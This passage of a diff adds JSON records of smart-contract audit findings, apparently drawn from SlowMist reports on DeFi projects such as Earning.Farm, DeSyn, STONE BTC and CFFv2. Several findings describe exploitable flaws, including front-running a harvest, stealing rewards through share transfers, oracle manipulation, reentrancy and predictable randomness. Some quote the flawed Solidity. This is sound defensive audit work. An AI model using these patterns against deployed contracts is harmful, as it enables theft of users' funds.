bridge/contracts/libraries/Utils.sol#L50-L67 // function getCallId( // uint256 srcChainID_, // address srcChainTokenAddress_, // address dstChainTokenAddress_, // bytes32 transactionHash_, // uint32 logIndex_, // bytes calldata payload // ) internal pure returns (bytes32) { // return keccak256(abi.encodePacked( // \"Call\", // srcChainID_, // srcChainTokenAddress_, // dstChainTokenAddress_, // transactionHash_, // logIndex_, // payload // )); // }", + "labels": [ + "SlowMist", + "Flurry Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant Code Usage", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENFv3/ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, the user will rst calculate the share when performing the withdraw operation. But it is calculated in the same way as the convertToShares function, so it is not necessary to use duplicate code for the calculation without using the convertToShares function. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential Precision Calculation Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENFv3/ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, users can burn shares through the redeem function to get back staked assets. It uses (shares * assetsPerShare()) / 1e24 to calculate the number of assets corresponding to the share, and the assetsPerShare function will multiply (assetDecimal * 1e18) when performing calculations. If assetDecimal is not equal to 6, dividing 1e24 when performing assets calculation will cause the decimal of the result to deviate. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Business logic aws in reward distribution", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, users can obtain shares through deposits, and receive harvest dividends according to the amount of shares held. The key to reward calculation is the accRewardPerTokens and prevBalace parameters. The owner role will increase the accRewardPerTokens parameter every time the harvest operation is performed, and prevBalace represents the user's share balance before reward settlement. But there will be a way to collect rewards by front-run deposits to improve the eciency of capital utilization: When the owner role performs the harvest operation, the user deposits at a higher gas fee. At this point the accRewardPerShares of the protocol has not been updated, and the user will get a portion of the shares. Then the owner performs the harvest operation, and the accRewardPerShares of the protocol will increase. Finally the user makes withdrawal and gets reward. Malicious users can use this method to obtain rewards in the blocks before and after the harvest operation, or even in the same block, without worrying about the problem of liquidity being locked in the protocol, which improves the utilization rate of funds. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Token Transfer Missing Rewards Update", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, the _updateUserData function is used to update the user's reward, but it is not updated when the user's share is transferred. This will result in accounting errors during share token transfers. Users can steal rewards by continuously transferring share tokens to new addresses. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Issue with checking on fromToken", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the vault contract of ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, the _swap function is used to exchange reward tokens for the specied toToken. It will check whether fromToken is WETH, if the check is true, it will be exchanged through the swapExactETHInput function, if the check is false, it will be exchanged through swapExactTokenInput. However, when fromToken is address(0), the token exchange will also be performed through the swapExactTokenInput function, which may cause the _swap function to fail to perform as expected. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect reward receiving address", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, users can claim rewards through the claim function and specify the receiving address of the rewards. When toAsset is false, the protocol will issue the reward directly to the user, but the destination address of the reward is not the receiver address specied by the user but msg.sender. This is not as expected. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Direct distribution of rewards is not available", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the Vault contract of ENF_lowrisk_farm/ENF_lowrisk_ETH_farm, users can claim rewards through the claim function. When toAsset is false, the protocol will directly issue rewards to users. The safeTransferFrom function is used to transfer tokens when issuing rewards, but the contract has not been approved before. This will cause the contract to be unable to successfully execute the safeTransferFrom operation due to insucient allowances, and ultimately result in failure to issue rewards. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of price manipulation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase5_en-us.pdf", + "body": "In the stETH contract of ENF_lowrisk_ETH_farm, the slippage check of SS depends on the virtual price (get_virtual_price) of Curve Pool, which will be aected by the reentrancy vulnerability of ETH/stETH Pool (please check to Ref[1][2]). Failure to check for slippage will result in malicious theft of funds from the strategy. Ref: [1] https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/ [2] https://chainsecurity.com/heartbreaks-curve-lp-oracles/", + "labels": [ + "SlowMist", + "Earning.Farm_Phase5", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "4.2.1.1 __Guard_init function was not call when initialize", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Hot Cross BSC Bridge V1.0.1_en-us.pdf", + "body": "ForeignProcessor contract and HomeRequest contract are inherit the Guard contract but dost not call the __Gurad_init function function __ForeignProcessor_init( IERC20 token, ValidatorRegistry validatorRegistry_ ) internal initializer { //SlowMist// Missing call of __Guard_init function require( address(token) != address(0) && Misc.isContract(address(token)), \"ForeignProcessor:Invalid erc20 address provided\" 10 ); require( address(validatorRegistry_) != address(0) && Misc.isContract(address(validatorRegistry_)), \"ForeignProcessor:Invalid validator registry address\" ); erc20 = token; validatorRegistry = validatorRegistry_; } function __HomeRequest_init( BEP20 token, ValidatorRegistry validatorRegistry_ ) internal initializer { //SlowMist// Missing call of __Guard_init function require( address(token) != address(0) && Misc.isContract(address(token)), \"HomeRequest:Invalid BEP20 address\" ); require( address(validatorRegistry_) != address(0) && Misc.isContract(address(validatorRegistry_)), \"HomeRequest:Invalid validator registry address\" ); bep20 = token; validatorRegistry = validatorRegistry_; } Fix status: fixed. 11 5.", + "labels": [ + "SlowMist", + "Hot Cross BSC Bridge V1.0.1", + "Severity: Informational" + ] + }, + { + "title": "Access control issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CheersUp_alpha8_en-us.pdf", + "body": "The Owner role has the right to call the giveaway function to airdrop any number of blind boxes to any address at any time. function giveaway(address address_, uint64 numberOfTokens_) external onlyOwner nonReentrant { require(address_ != address(0), \"zero address\"); require(numberOfTokens_ > 0, \"invalid number of tokens\"); require(totalMinted() + numberOfTokens_ <= MAX_TOKEN, \"max supply exceeded\"); _safeMint(address_, numberOfTokens_); } The Owner role has the right to modify the cucpContractAddress contract address through the setCUCPContractAddress function, and unauthorized modication will result in the user's blind box being unable to be opened or arbitrarily modifying the blind box. function setCUCPContractAddress(address address_) public onlyOwner { cucpContractAddress = address_; } The Owner role has the right to modify the price of the blind box purchased by the user through the setWhitelistSaleCong function and the setPublicSaleCong function at any time. If the price of the blind box is modied after the sale starts, the user's transaction will fail. function setWhitelistSaleConfig(WhitelistSaleConfig calldata config_) external onlyOwner { require(config_.price > 0, \"sale price must greater than zero\"); whitelistSaleConfig = config_; } 9 function setPublicSaleConfig(PublicSaleConfig calldata config_) external onlyOwner { require(config_.price > 0, \"sale price must greater than zero\"); publicSaleConfig = config_; } The Owner has the right to modify the revealCong parameter through the setRevealCong function, which includes the address of the contract that opens the blind box, and the time and closing time of the blind box sale. function setRevealConfig(RevealConfig calldata config_) external onlyOwner { revealConfig = config_; }", + "labels": [ + "SlowMist", + "CheersUp_alpha8", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Random number problem", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CheersUp_alpha8_en-us.pdf", + "body": "The tokenId in the contract is related to the properties of the NFT. The tokenId is randomly generated through the random number on the chain, which will cause the random number to be predicted. function mint(address address_, uint256 cucpTokenId_) public returns(uint256) { require(_msgSender() == cucpContractAddress, \"not authorized\"); 10 require(_numberMinted + 1 <= MAX_TOKEN, \"mint would exceed max supply\"); uint256 tokenId = randomToken(address_); _safeMint(address_, tokenId); unchecked { _numberMinted += 1; } emit CheersUpRevealed(cucpTokenId_, tokenId); return tokenId; } function getRandomTokenId() internal returns (uint256) { unchecked { uint256 remain = MAX_TOKEN - _numberMinted; uint256 pos = unsafeRandom() % remain; uint256 val = _randIndices[pos] == 0 ? pos : _randIndices[pos]; _randIndices[pos] = _randIndices[remain - 1] == 0 ? remain - 1 : _randIndices[remain - 1]; return val; } } /** * @notice unsafeRandom is used to generate a random number by on-chain randomness. * Please note that on-chain random is potentially manipulated by miners, and most scenarios suggest using VRF. * @return randomly generated number. */ function unsafeRandom() internal view returns (uint256) { unchecked { return uint256(keccak256(abi.encodePacked( blockhash(block.number-1), block.difficulty, block.timestamp, _numberMinted, tx.origin ))); } }", + "labels": [ + "SlowMist", + "CheersUp_alpha8", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "4.3.1.1 Risk of Oracle Manipulation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "In DDSContracts, the price is obtained from Uniswap's getAmountsIn through the getPriceByWBTCDAI function, but this interface obtains the real-time price of the WBTC/DAI pool, and there is a risk of malicious manipulation. 6 Fix suggestion: It is recommended to use Uniswap's delayed price feed oracle for acquisition. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Critical" + ] + }, + { + "title": "4.3.1.2 Price acquisition issue when opening and closing positions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "In the DDSContracts contract, the price used when opening and closing a position is passed in from the outside, which will cause the user to pass in any price when opening and closing a position. After communicating with the project party, this is the test code, and the oracle will be used to feed the price during the formal deployment. Fix suggestion: It is recommended to use Uniswap's delayed price feed oracle for acquisition. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Critical" + ] + }, + { + "title": "4.3.2.1 The available funds were not processed when the riskControl", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "closed the position In the Pool contract, when riskClose is triggered when the risk control liquidation is triggered, if the margin is insufficient and the pool order transfer fails, risk funds will be used to make up for the insufficient part, and all available funds of the user will be deducted. However, the user's available funds are not actually set to 0. Fix suggestion: It is recommended that the available funds should be emptied after the transfer of insurance funds. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: High" + ] + }, + { + "title": "4.3.3.1 Insecure random number", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "In the Pool contract, the getMatchLp2Object function uses block difficulty and block time now as the random number seed to participate in the calculation of random numbers. But block difficulty and time can be predicted or manipulated. Fix suggestion: It is recommended to use the random number provided by chainlink that cannot be manipulated. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Low" + ] + }, + { + "title": "4.3.4.1 Event missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "In the DDSContracts contract, the owner can set the key parameters of the contract through the setExchageAddress, setPoolTokenAddr, setPrivatePool, setPublicPool, setFormular, and setrepayFudAddr functions, but no event recording is performed. Fix suggestion: In order to facilitate follow-up records and community viewing, it is recommended to record events for sensitive parameter modifications. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.2 Does not follow the `Checks-effects-interactions` model", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "In Contracts and Pool2 contracts, when deposit and provide functions are used to recharge, the state is changed first, and then the corresponding tokens are transferred to the contract. Fix suggestion: It is recommended to follow the Checks-effects-interactions model, first transfer the corresponding tokens and then change the state. 10 ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.3 Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Shield_en-us.pdf", + "body": "Provide price feed interfaces such as updateImpliedVolrate and updatePriceByOwner in the DDSFormular contract to update the price. However, these interfaces are not used by the Contracts contract, and these price-feeding interfaces have no permission control and can be called by any user. 11 Fix suggestion: If this interface is a test interface, it is recommended to remove it during formal deployment. If it will use the suggestions in subsequent iterations for permission control. ", + "labels": [ + "SlowMist", + "Shield", + "Severity: Informational" + ] + }, + { + "title": "Potential denial of service risk due to gulp operations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "- - - - - - - - - - - - - - - - - In the Actions contract, when the user performs the autoJoinSmartPool operation, the number of shares the user can obtain will be calculated through the _calculateShare function, and minPoolAmountOut will be checked at the end. The _calculateShare function obtains the number of tokens recorded in the pool through bPool's getBalance when calculating the share, but unfortunately any user can update this parameter through bPool's gulp function. Therefore, when an ordinary user performs an autoJoinSmartPool operation, a malicious user directly transfers funds to bPool and calls the gulp function to update the token balance recorded in the pool. At this time, ordinary users will not be able to successfully add liquidity due to the minPoolAmountOut check. If the minPoolAmountOut value passed in by an ordinary user is 0, it may cause an interest rate ination attack. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Incorrect event logging", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the CRP contract, the createPool function adds the creator parameter as the real creator of the pool. However, the corresponding events were not modied accordingly. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect WETH address", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "The WETH address constant is hard-coded in the Actions contract, but this address is an EOA address on the Ethereum mainnet and is not the correct WETH address. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Incorrect poolTokens check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the autoJoinSmartPool function of the Actions contract, it checks the tokens deposited by the user through poolTokens[i] == handleToken , but handleToken has been replaced by the issueToken parameter during the native token checking phase. Therefore, the poolTokens[i] == handleToken check is not accurate. If handleToken is WETH, it will cause an error in the _makeSwap operation. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant STBT token check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the autoJoinSmartPool and _exit functions of the Actions contract, when making a token transfer, it will be checked whether the transferred token is an STBT token. But in fact, the protocol does not allow deposits of STBT tokens, and STBT tokens will also be converted into stablecoins after the ETF expires. Therefore, theoretically, there will be no STBT tokens in the contract, so the STBT token check is redundant. . ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of slot conict", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In this protocol iteration, both SmartPoolManager and Actions contracts have changed their storage structures. If these contracts use an upgradeable model, and upgrading the contract directly on the original basis may lead to contract storage slot conicts. In fact, the Actions contract is an upgradeable contract, so special attention should be paid to such risks.", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Variable Coverage Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of event forgery", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the CRP contract, the exitPool function adds a user parameter to record the real caller when the user exits through the Actions contract. However, users can also exit by calling the exitPool function of the CRP contract. They can pass in any user parameter to make the LogExit event record an incorrect value. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Malicious Event Log Audit", + "Severity: Low" + ] + }, + { + "title": "Potential risk of denial of service due to large CRPFactory array", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the CRPFactory contract, when the Blabs role performs addCRPFactory and removeCRPFactory operations, it will use a for loop to traverse the entire CRPFactorys array. If the array length is too large, it will lead to DoS risks. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of endless loop", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase5 - SlowMist Audit Report.pdf", + "body": "In the CRPFactory contract, the isCrp function is used to check whether the address passed by the user is a CRP contract. If not, the CRPFactorys array will be circulated and the isCrp function of other CRPFactory will be called to check. However, it should be noted that if the Blabs role adds this contract address to the CRPFactorys array, the user will fall into an innite loop error when querying a CRP address that is not recorded in this contract through the isCrp function. ", + "labels": [ + "SlowMist", + "DeSyn Phase5 - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Potential Token Compatibility Issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTCVault contract, users can deposit funds through the deposit/depositMultiple functions. The contract directly transfers the user-specied amount of wrapped BTC tokens using the safeTransferFrom function. It is important to note that the contract is not compatible with fee-on-transfer wrapped BTC tokens. Similarly, when users make deposits or withdrawals, the contract performs decimal conversion using 18- tokenDecimals[_token] . This renders the contract incompatible with any wrapped BTC tokens that have a decimal greater than 18. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of not being able to collect fees", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTCVault contract, users are charged a certain fee when making deposits or withdrawals. The fee amount is determined by amount * feeRate / FEE_BASE . Due to Solidity's division operation truncating the decimal part, if the user's deposit or withdrawal amount is relatively small, the calculated fee will be 0. This prevents the contract from collecting deposit/withdrawal fees. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Unnecessary unchecked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTCVault contract, all the for loop functionalities use unchecked for incrementing i to reduce gas consumption. However, the contract's Solidity compilation uses ^0.8.26 , and Solidity introduced the unchecked loop increments feature in version 0.8.22, making the use of unchecked unnecessary. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of DoS when removing supported tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTCVault contract, privileged roles can add/remove supported wrapped BTC tokens through the addSupportedTokens/removeSupportedTokens functions. When performing the removeSupportedTokens operation, the contract checks that the balance of the token being removed must be zero. This can be easily exploited, as users can donate a small amount of tokens to prevent the removeSupportedTokens function from working properly. It is also important to note that when users withdraw, the contract converts the decimal to the decimal of the token being withdrawn. When the decimal of this token is smaller than the decimal of STONE BTC, there will always be a small amount of dust tokens left in the vault. This indirectly prevents the removeSupportedTokens function from working correctly. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Denial of Service Vulnerability", + "Severity: High" + ] + }, + { + "title": "The actual deposit amount may dier from the contract balance", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTCVault contract, the _checkDepositAllowed function checks the depositCapacity based on the balance of wrapped BTC tokens in the contract. Similarly, the getDepositAmounts function retrieves token balances to determine the deposit amounts. These values may dier from the actual deposit amounts made by users. Users might accidentally transfer supported tokens into the vault, or some users might send small donations to the vault. Both scenarios will cause the above two functions to obtain amounts that are greater than the users' actual deposit amounts. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Not checking if withAmount is greater than 0 when retrieving all tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the Proposal contract, users can retrieve all their STONE tokens used for voting through the retrieveAllToken function. It uses a temporary variable withAmount to record the amount of STONE tokens that can be withdrawn. However, it does not check if withAmount is greater than 0 before initiating the transfer, which may result in the contract sending a 0 transfer and wasting gas. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risks of excessive privilege", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/STONE BTC - SlowMist Audit Report_en-us.pdf", + "body": "In the StoneBTC contract, the contract deployer is set as the DEFAULT_ADMIN_ROLE. The admin role can arbitrarily change the MINTER_ROLE/BURNER_ROLE roles, which are involved in minting and burning STONE BTC. This leads to the risk of excessive privileges. Similarly, in the StoneBTCVault and Proposal contracts, the initial DEFAULT_ADMIN_ROLE is also the deployer. Assigning sensitive permissions to an EOA address not only creates the risk of excessive privileges but also introduces a single point of failure. ", + "labels": [ + "SlowMist", + "STONE BTC - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Low-level call issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the CRVExchangeV2 contract, the handleExtraToken function is used to perform the token transfer operation after the token swap. Low-level calls are used when transferring native tokens, but the amount of gas usage is not limited, which may lead to unknown security risks. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Contract variable usage issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the IWbtcPoolBase contract, when the Controller role calls the deposit function, the deposit_wbtc_amount parameter will increase, but when the Controller role calls the withdraw function, the deposit_wbtc_amount parameter does not decrease accordingly. And the withdraw_wbtc_amount parameter in the contract is not used. 16 The deposit_eth_amount and withdraw_eth_amount parameters in the IETHPoolBase contract are the same. The deposit_usdc_amount and withdraw_usdc_amount parameters in the IUSDCPoolBase contract are the same. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the IWbtcPoolBase contract, the owner can modify the controller and vault addresses through the setController function, but no event recording is performed. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Logical redundancy issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the AavePool contract, the withdraw_from_curve function will rst authorize the lp_token_addr token to the pool_deposit contract and then call the remove_liquidity_one_coin function of the pool_deposit contract to remove liquidity. However, since the minter role of the lp_token_addr contract is the pool_deposit contract, there is no need to perform an approve operation. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Reentrancy risk 20", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the CFVaultV2 contract, the user can withdraw assets through the withdraw function, but in the withdraw function, it will rst transfer the assets to the user and then destroy the user's credentials through the destroyTokens function. If the transfer is native tokens, this will lead to a risk of reentrancy. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Reentrancy Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - CFFv2_en-us.pdf", + "body": "In the IWbtcPoolBase, IETHPoolBase and IUSDCPoolBase contracts, the owner can call any data through the callWithData function. Since these strategies contracts indirectly keep the user's assets, any data call will cause the risk of excessive owner authority. ", + "labels": [ + "SlowMist", + "CFFv2", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "1.In the BTCLayer2Bridge contract, the superAdmin role is initialized in the initialize function and can be modied in the setSuperAdminAddress function. The superAdmin can also set the normalAdmin role through the setNormalAdminAddress function. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Receive can lock users native tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "There is a receive function in the BTCLayer2Bridge contract so that the contracts can receive native tokens. However, the receive function can lock users native tokens when users transfer the native token in these contracts by mistake. And the payable modier can help these functions which need to call with the native tokens. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Parameter _symbol is not case checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "The _symbol eld of ERC20 tokens and ERC721 tokens on the Ethereum chain is case-sensitive, but for BRC20 Tick is not case-sensitive. In the BTCLayer2Bridge contract, the addERC20TokenWrapped function and the addERC721TokenWrapped function do not standardize the case format of the _symbol parameter passed in. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Delete the address without popping up the list", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "In the addUnlockTokenAdminAddress function, the superAdmin and normalAdmin roles can add user address into the unlockTokenAdminAddressList and set the unlockTokenAdminAddressSupported to true. But in the delUnlockTokenAdminAddress function, the superAdmin and normalAdmin roles remove the unlockTokenAdminAddress just by setting the unlockTokenAdminAddressSupported to false without popping up from the unlockTokenAdminAddressList . Once called the delUnlockTokenAdminAddress function deletes the address, the superAdmin and normalAdmin roles can call the addUnlockTokenAdminAddress function to add the same address added before into the unlockTokenAdminAddressList and the length of the unlockTokenAdminAddressList will increase. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "SuperAdmin Transfer Recommendations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TaprootChain - BTCLayer2Bridge_en-us.pdf", + "body": "In the BTCLayer2Bridge contract, superAdmin directly overwrites the previous address with the new address during transfer. If superAdmin calls the setSuperAdminAddress function with the wrong address when the operation is wrong, this will result in the loss of the superAdmin role permissions. ", + "labels": [ + "SlowMist", + "TaprootChain - BTCLayer2Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Low-level call reminder", + "html_url": 